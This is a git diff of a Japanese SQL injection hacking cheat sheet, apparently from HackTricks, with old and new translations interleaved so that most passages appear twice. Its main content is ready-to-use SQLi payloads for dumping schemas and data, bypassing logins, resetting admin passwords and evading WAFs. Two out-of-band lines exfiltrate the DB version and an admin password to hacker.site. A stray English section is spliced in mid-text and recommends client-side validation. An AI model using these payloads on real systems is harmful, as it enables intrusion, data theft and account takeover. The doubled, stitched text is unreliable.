_`null`値を使用するべきです。なぜなら、クエリの両側のカラムの型が同じでなければならない場合があり、nullはすべてのケースで有効だからです。_
### データベース名、テーブル名、列名を抽出
### データベース名、テーブル名、カラム名の抽出
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの名を取得します:
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルのカラム名を取得します:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -203,65 +205,65 @@ _いくつかのケースでは、クエリの両側の列の型が同じであ
```
_異なるデータベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。_
## 隠れた Union Based の悪用
## 隠れたユニオンベースの悪用
クエリの出力が見えるが、union-based injection が達成不可能に見える場合、**隠れた union-based injection** の存在を示しています。このシナリオはしばしば blind injection の状況につながります。blind injection を union-based に変換するには、バックエンドでの実行クエリを識別する必要があります。
クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは**隠れたユニオンベースのインジェクション**の存在を示しています。このシナリオはしばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。
これは、目標とするデータベース管理システムDBMSに固有のデフォルトテーブルと共に blind injection テクニックを使用して達成できます。これらのデフォルトテーブルを理解するためには、対象のDBMSのドキュメントを参照することが推奨されます。
これは、ブラインドインジェクション技術とターゲットのデータベース管理システムDBMSに特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします。
クエリを抽出したら、ペイロードを調整して元のクエリを安全に閉じる必要があります。その後、ペイロードに union クエリを追加することで、新たにアクセス可能になった union-based injection を悪用できます。
クエリが抽出されたら、元のクエリを安全に閉じるようにペイロードを調整する必要があります。その後、ユニオンクエリをペイロードに追加し、新たにアクセス可能なユニオンベースのインジェクションを悪用できるようにします。
より包括的な洞察を得るには、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) で利用可能な完全な記事を参照してください。
より包括的な洞察については、[Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)で利用可能な完全な記事を参照してください。
## エラーを利用した悪用
## エラーベースの悪用
何らかの理由で **クエリの出力****見ることができない** が、**エラーメッセージを見ることができる** 場合、これらのエラーメッセージを使用してデータベースからデータを **外部に持ち出す** ことができます。\
Union Based の悪用と同様の流れに従うことで、DB をダンプすることができます
何らかの理由で**クエリ**の**出力**を見ることが**できない**が、**エラーメッセージ**は**見ることができる**場合、これらのエラーメッセージを使用してデータベースからデータを**エクスフィルトレート**することができます。\
ユニオンベースの悪用と同様の流れに従って、DBをダンプすることができるかもしれません
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Blind SQLiの悪用
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を返すときに区別できます。なぜなら、ページには異なるコンテンツが表示されるからです。\
この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに、ページ上の異なる内容によって**区別**することができます。\
この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## エラー盲目SQLiの悪用
## Exploiting Error Blind SQLi
これは**以前と同じケース**ですが、クエリからの真偽応答を区別する代わりに、SQLクエリのエラーの有無おそらくHTTPサーバーがクラッシュするためを区別できます。したがって、この場合、文字を正しく推測するたびにSQLエラーを強制することができます
これは**以前と同じケース**ですが、クエリからの真偽応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別することができます**おそらくHTTPサーバーがクラッシュするため。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Time Based SQLiの悪用
## 時間ベースのSQLiの悪用
この場合、クエリの応答をページのコンテキストに基づいて区別する方法はありません。しかし、推測された文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。すでにこのテクニックが使用されており、[SQLiの脆弱性を確認](./#confirming-with-timing)するために使用されています。
この場合、ページのコンテキストに基づいてクエリの**応答**を**区別**する方法は**ありません**。しかし、推測した文字が正しい場合、ページが**読み込むのに時間がかかる**ようにすることができます。この技術は、[タイミングで確認するために](./#confirming-with-timing)以前に使用されているのを見たことがあります。
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## スタックされたクエリ
## スタッククエリ
スタックされたクエリを使用して、**連続して複数のクエリを実行**できます。後続のクエリが実行される間、**結果はアプリケーションに返されない**ことに注意してください。したがって、このテクニックは主に**ブラインド脆弱性**に関連して使用され、第二のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。
スタッククエリを使用して、**複数のクエリを連続して実行**できます。後続のクエリが実行される間、**結果**は**アプリケーションに返されません**。したがって、この技術は主に**ブラインド脆弱性**に関連して使用され、2番目のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。
**Oracle**は**スタックされたクエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれらをサポートしています:`ここにクエリ1; ここにクエリ2`
**Oracle**は**スタッククエリ**をサポートしていません。**MySQL、Microsoft**、および**PostgreSQL**はそれをサポートしています: `QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
## バンド外の悪用
他の**どの**攻撃手法も**機能しない**場合、**データベースに情報を外部ホスト**(あなたが制御する)に**送信**させることを試してみることができます。たとえば、DNSクエリを介して
**他の**悪用方法が**機能しなかった**場合、**データベースが**情報をあなたが制御する**外部ホスト**に流出させるように試みることができます。たとえば、DNSクエリを介して:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### XXEを利用した外部バンドデータのエクスフィルトレーション
### XXEを介したアウトオブバンドデータ流出
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
## 自動化された攻撃
## 自動化された悪用
SQLi脆弱性を利用するための[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用した攻撃手法については、[SQLMapチートシート](sqlmap/)を参照してください。
[SQLMap チートシート](sqlmap/)を確認して、[**sqlmap**](https://github.com/sqlmapproject/sqlmap)を使用してSQLi脆弱性を悪用してください。
## テクノロジー固有の情報
## 技術特有の情報
SQLインジェクション脆弱性を悪用する方法についてはすでにすべて説明しました。この書籍では、データベーステクノロジーに依存したさらなるトリックを見つけることができます
SQLインジェクション脆弱性を悪用する方法についてはすでに議論しました。この本では、データベース技術に依存するいくつかのトリックを見つけてください
* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
@ -269,17 +271,19 @@ SQLインジェクション脆弱性を悪用する方法についてはすで
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)
また、**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリック**を[**こちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)で見つけることができます。
また、**MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックが** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)にあります。
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術的知識の促進を使命とする**この会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進を使命として**、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## 認証バイパス
ログイン機能をバイパスしようとするリスト:
ログイン機能をバイパスするために試すリスト:
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
@ -289,31 +293,31 @@ SQLインジェクション脆弱性を悪用する方法についてはすで
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
このクエリは、MD5がtrueで生の出力を使用して認証チェックを行う際の脆弱性を示しており、システムがSQLインジェクションに対して脆弱になります。攻撃者は、入力を工夫してハッシュ化すると、予期しないSQLコマンドの一部が生成され、不正アクセスが可能になります。
このクエリは、認証チェックで生の出力に対してtrueを使用した場合にMD5が脆弱性を示すことを示しています。これにより、システムはSQLインジェクションに対して脆弱になります。攻撃者は、ハッシュ化されたときに予期しないSQLコマンドの一部を生成する入力を作成することでこれを悪用し、不正アクセスを引き起こすことができます。
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
```
### インジェクトされたハッシュ認証バイパス
### 注入されたハッシュ認証バイパス
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**推奨リスト**:
リストの各行をユーザー名として使用し、常にパスワードを **_Pass1234._** としてください。\
(これらのペイロードは、このセクションの冒頭で言及されている大きなリストにも含まれています)
各行のリストをユーザー名として使用し、パスワードは常に: _**Pass1234.**_\
_(このペイロードは、このセクションの最初で言及された大きなリストにも含まれています)_
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK 認証バイパス
IF ' がエスケープされている場合、%A8%27 を使用できます。そして ' がエスケープされると、0xA80x5c0x27 (_╘'_) が作成されます。
IF ' がエスケープされている場合は %A8%27 を使用でき、' がエスケープされると次のように作成されます: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Pythonスクリプト
Pythonスクリプト:
```python
import requests
url = "http://example.com/index.php"
@ -326,84 +330,72 @@ print r.text
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## 挿入ステートメント
## Insert Statement
### 既存のオブジェクト/ユーザーのパスワードを変更する
これを行うには、おそらくユーザーの場合は**管理者**として名前が付けられた**「マスターオブジェクト」という新しいオブジェクトを作成しようとしてください
そのためには、**「マスターオブジェクト」と名付けられた新しいオブジェクトを作成する**(おそらく**admin**の場合)ために何かを修正する必要があります
- ユーザー名を**AdMIn**として作成する(大文字と小文字を区別)
- ユーザー名を**admin=**として作成する
- **SQL Truncation Attack**(ユーザー名やメールに**文字数制限**がある場合) --> 名前が**admin \[たくさんのスペース]**のユーザーを作成する
* 名前を**AdMIn**(大文字と小文字の組み合わせ)としてユーザーを作成する
* 名前を**admin=**としてユーザーを作成する
* **SQLトランケーション攻撃**(ユーザー名やメールに**長さ制限**がある場合) --> 名前を**admin \[たくさんのスペース] a**としてユーザーを作成する
#### SQL Truncation Attack
#### SQLトランケーション攻撃
データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザー**admin**をなりすます場合、"_admin \[30スペース] a_"というユーザー名を作成してみてください。そして、任意のパスワードを設定します。
データベースが脆弱で、ユーザー名の最大文字数が例えば30の場合、ユーザー**admin**を偽装したい場合は、"_admin \[30スペース] a_"というユーザー名を作成してみてください。
データベースは、入された**ユーザー名**がデータベース内に存在するかどうかを**確認**します。もし存在しない場合、**ユーザー名**を**許可された最大文字数**(この場合は"_admin \[25スペース]_")に**切り取り**、そして**自動的に末尾のすべてのスペースを削除して**データベース内のユーザー**「admin」**の**新しいパスワード**を更新します(エラーが表示されることがありますが、これが機能していないということではありません)。
データベースは、入された**ユーザー名**がデータベース内に**存在するか**を**確認**します。もし**存在しなければ**、**ユーザー名**を**最大許可文字数**(この場合は"_admin \[25スペース]_")に**切り詰め**、その後、**データベース内でユーザー「**admin**」を新しいパスワードで更新する際に、末尾のすべてのスペースを**自動的に削除**します**(エラーが表示される可能性がありますが、これは成功しなかったことを意味しません)。**
詳細情報: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなりました。比較は引き続きデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。これについての詳細情報はこちらを参照してください: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
_注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなります。比較はデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックに関する詳細情報: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
### MySQL挿入時の時間ベースのチェック
### MySQL挿入時間ベースのチェック
VALUESステートメントを終了すると考えられるだけの`','',''`を追加します。遅延が発生した場合、SQLインジェクションが発生しています。
`','',''`をできるだけ追加して、VALUESステートメントを終了させると考えます。遅延が実行される場合、SQLインジェクションがあります。
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスやPRIMARY KEYに重複する値が挿入されようとした場合にデータベースが取るべきアクションを指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています
MySQLの`ON DUPLICATE KEY UPDATE`句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値が発生する行を挿入しようとしたときに、データベースが取るべきアクションを指定するために使用されます。以下の例は、この機能がどのように悪用されて管理者アカウントのパスワードを変更するかを示しています。
例:インジェクションペイロード
Example Payload Injection:
インジェクションペイロードは、`users`テーブルに2つの行を挿入しようとするように作成されるかもしれません。最初の行はデコイであり、2番目の行は既存の管理者のメールアドレスを対象とし、パスワードを更新することを意図しています。
注入ペイロードは次のように作成される可能性があり、`users`テーブルに2行を挿入しようとしています。最初の行はおとりで、2番目の行は既存の管理者のメールアドレスをターゲットにしてパスワードを更新する意図があります
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
### 情報の抽出
以下のように機能します:
- クエリは、`generic_user@example.com`用の1行と、`admin_generic@example.com`用の別の1行を挿入しようとします。
- `admin_generic@example.com`用の行がすでに存在する場合、`ON DUPLICATE KEY UPDATE`句がトリガーされ、MySQLに既存の行の`password`フィールドを「bcrypt_hash_of_newpassword」に更新するよう指示します。
- その結果、`admin_generic@example.com`を使用して、bcryptハッシュに対応するパスワードで認証を試みることができます「bcrypt_hash_of_newpassword」は新しいパスワードのbcryptハッシュを表し、実際のパスワードのハッシュに置き換える必要があります
### 情報を抽出する
#### 同時に2つのアカウントを作成する
新しいユーザーとユーザー名を作成しようとすると、パスワードと電子メールが必要です。
新しいユーザーを作成しようとする際には、ユーザー名、パスワード、メールが必要です:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### 10進数または16進数を使用する
#### 10進数または16進数の使用
このテクニックを使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントを追加する必要はないことに注意することが重要です
この技術を使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントをする必要はないことに注意してください
**hex2dec** と **substr** を使用する:
**hex2dec** と **substr** を使用して:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
以下は、ハッキング技術に関する本の内容です。ファイルpentesting-web/sql-injection/README.mdからのコンテンツです。
## SQL Injection
### Description
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.
### Impact
The impact of an SQL injection attack can vary greatly depending on the application, the functionality of the website, and the data that is stored in the database. Some of the potential consequences of a successful SQL injection attack include unauthorized access to sensitive data, such as personal information, financial data, or intellectual property; the ability to execute operations on the database, such as adding, modifying, or deleting records; and in some cases, the ability to take control of the server that hosts the database.
### Detection
Detecting SQL injection vulnerabilities can be challenging, as they can be present in both the frontend and backend components of a web application. Automated tools can be used to scan for common SQL injection vulnerabilities, but manual testing is often required to identify more complex issues. Common indicators of SQL injection include error messages that reveal details about the database structure, unexpected changes in application behavior, and the presence of suspicious or malformed input in application requests.
### Prevention
Preventing SQL injection attacks requires a combination of secure coding practices and input validation techniques. Developers should use parameterized queries or prepared statements to prevent malicious input from being interpreted as SQL commands. Additionally, input should be validated on the client side to ensure that it conforms to expected formats and does not contain any potentially harmful characters. Regular security assessments and code reviews can help identify and address SQL injection vulnerabilities before they can be exploited by attackers.
テキストを取得するには、次のようにします:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
**hex**と**replace**(および**substr**)を使用する:
**hex** と **replace** (および **substr**) を使用して:
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
@ -414,26 +406,26 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術知識の促進を使命**として、この会議はあらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い交流の場となっています。
[**RootedCON**](https://www.rootedcon.com/) **スペイン** で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ** で最も重要なイベントの一つです。 **技術的知識の促進** を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家が集まる熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
## ルーテッドSQLインジェクション
## Routed SQL injection
ルーテッドSQLインジェクションとは、インジェクション可能なクエリが出力を提供するものではなく、インジェクション可能なクエリの出力が出力を提供するクエリに移動する状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Routed SQL injection は、注入可能なクエリが出力を生成するものではなく、注入可能なクエリの出力が出力を生成するクエリに送られる状況です。 ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
例:
Example:
```
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF バイパス
[ここから初期バイパス](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[初期バイパスはこちら](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### スペースなしバイパス
スペースなし (%20) - 空白の代替手段を使用したバイパス
スペースなし (%20) - ホワイトスペースの代替を使用してバイパス
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
@ -442,35 +434,17 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
### No Whitespace - コメントを使用してバイパスする
攻撃者は、SQLインジェクション攻撃を実行する際に、SQLクエリ内のスペースを回避するために、コメントを使用することができます。コメントを使用することで、SQLクエリの一部を無効にし、攻撃者が意図したコードを実行させることが可能となります。
例えば、以下のようなSQLクエリがあるとします
```sql
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
```
攻撃者は、以下のようにコメントを使用してスペースを回避することができます:
```sql
SELECT * FROM users WHERE username = 'admin'-- ' AND password = 'password'
```
このようにすることで、`AND password = 'password'` の部分がコメントとして無視され、攻撃者が任意の条件を挿入することが可能となります。
No Whitespace - コメントを使用してバイパス
```sql
?id=1/*comment*/and/**/1=1/**/--
```
### No Whitespace - パーレンシスを使用してバイパスする
このテクニックは、SQLインジェクション攻撃時にスペースを回避するために使用されます。通常、SQL文のキーワードと識別子の間にスペースが必要ですが、パーレンシス括弧を使用することでスペースを回避することができます。これにより、攻撃者はSQLインジェクション攻撃を実行し、目的のデータベースにアクセスすることが可能となります。
No Whitespace - 括弧を使用してバイパス
```sql
?id=(1)and(1)=(1)--
```
### コンマをバイパスする
### No commas bypass
オフセット、FROM、JOINを使用してコンマをバイパスします。
No Comma - OFFSET、FROM、JOINを使用したバイパス
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
@ -484,7 +458,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
### キーワードを使ったブラックリストは大文字小文字を区別しない - 同等の演算子を使用してバイパスします
キーワードを無視してブラックリスト - 同等の演算子を使用してバイパス
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -492,32 +466,32 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### 科学的表記 WAF バイパス
### Scientific Notation WAF bypass
このトリックの詳細な説明は、[gosecure ブログ](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
基本的に、WAF をバイパスするために予期しない方法で科学的表記を使用できます。
このトリックの詳細な説明は[gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)で見つけることができます。\
基本的に、WAFをバイパスするために科学的表記を予期しない方法で使用できます:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### カラム名の制限をバイパスする
### カラム名制限のバイパス
まず最初に、もし**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている**場合は、単に次のようにすることができます: `0 UNION SELECT * FROM flag`
まず第一に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、単に次のようにすることができます: `0 UNION SELECT * FROM flag`
カラム名を使用せずに**テーブルの3番目のカラムにアクセスすることが可能**です。以下のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`、したがって、これはsqlinjectionでは次のようになります:
テーブルの**名前を使用せずに第三カラムにアクセスすることが可能**で、次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;` したがって、sqlinjectionでは次のようになります:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
または、**カンマバイパス**を使用する:
または **カンマバイパス** を使用します:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取得されました。
このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取れました。
### WAF バイパス提案ツール
### WAFバイパスサジェスターツール
{% embed url="https://github.com/m4ll0k/Atlas" %}
@ -530,20 +504,27 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的知識の促進を使命**とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの一つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセス**したいですか?または、**HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れます
* **💬** [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします**。
* **ハッキングトリックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,24 +1,27 @@
# MySQLインジェクション
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
